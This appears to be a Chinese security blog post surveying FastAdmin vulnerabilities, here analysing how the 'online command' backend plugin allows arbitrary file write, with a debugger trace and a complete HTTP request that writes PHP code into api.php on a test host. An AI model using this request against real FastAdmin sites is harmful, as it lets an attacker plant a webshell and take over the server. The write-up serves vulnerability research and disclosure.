Fastadmin漏洞汇总 – 作者:Whippet-安全小百科

Fastadmin漏洞汇总 – 作者:Whippet

*本文中涉及到的相关漏洞已报送厂商并得到修复，本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担。

前段时间，FastAdmin 爆出了前台传的CVE，于是想着将 FastAdmin 曾经的漏洞进行一个汇总

通过参看网上的文章，发现大部分利用点为后台漏洞，后台漏洞点目前有两种情况

插件漏洞

插件漏洞，其实并不是一个很难利用的方式，在 wordpress 的网站中，拥有安装插件的功能的话，就会有无数个插件都可以上传 shell 以至获得网站的管理权限

Fastadmin 所拥有的插件并不是很多，登录后台之后，访问插件管理功能

http://test.test/nkmphlDGrv.php/addon?ref=addtabs

目前最新版本已经不支持直接离线或者在线安装插件，还需要拥有 Fastadmin 官网的账号。

看到网上采用的插件为：command-1.0.6-regular.zip && Filexi文件管理器(已经无法下载) && 自写的插件

在线命令

首先是在线命令这个插件

我们在接口生成文件处填入 php 的文件名，在文档标题处填入 php 文件

先点击生成命令行，再点击立即执行，执行完成后会在fastadmin/public目录下生成 api.php

我们分析一下为什么如此操作就可以获得网站权限呢

从官网下载一份插件的源代码

安装完插件之后 fastadmin 项目的结构

大致我们仅仅需要关注application/admin/controller/Command.php就ok

我们执行的步骤为两步，首先是生成命令行，其次是立即执行，在相关位置添加断点，并在 Burpsuite 请求包Cookie字段添加XDEBUG_SESSION=PHPSTROM

\app\admin\controller\Command::command

第一步生成命令行中，并没有进行命令执行的相关操作，只是将我们设定的参数，保存起来php think api --output=api.php --title=<?php phpinfo();?>

点击立即执行，发现相较于前一步生成命令行，只在$action == 'execute'有所不同

\app\admin\controller\Command::command

判定路由为execute之后会执行doexecute方法

\app\admin\controller\Command::doexecute

调试跟进函数执行的 run 方法

\think\console\Command::run

\app\admin\command\Api::execute

获取output对应的值，拼接为文件名

利用file_put_contents把内容写入到文件中，这个插件漏洞本质上是一个任意文件写入漏洞

只用发送如此数据包就可以成功

POST /nkmphlDGrv.php/command/command/action/execute HTTP/1.1
Host: test.test
Content-Length: 106
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=helipv5455s7i64l4vq72j9nen; think_var=zh-cn;XDEBUG_SESSION=PHPSTROM
Connection: close

commandtype=api&force=0&url=&output=api.php&template=&title=%3C%3Fphp+phpinfo()%3B%3F%3E&author=&language=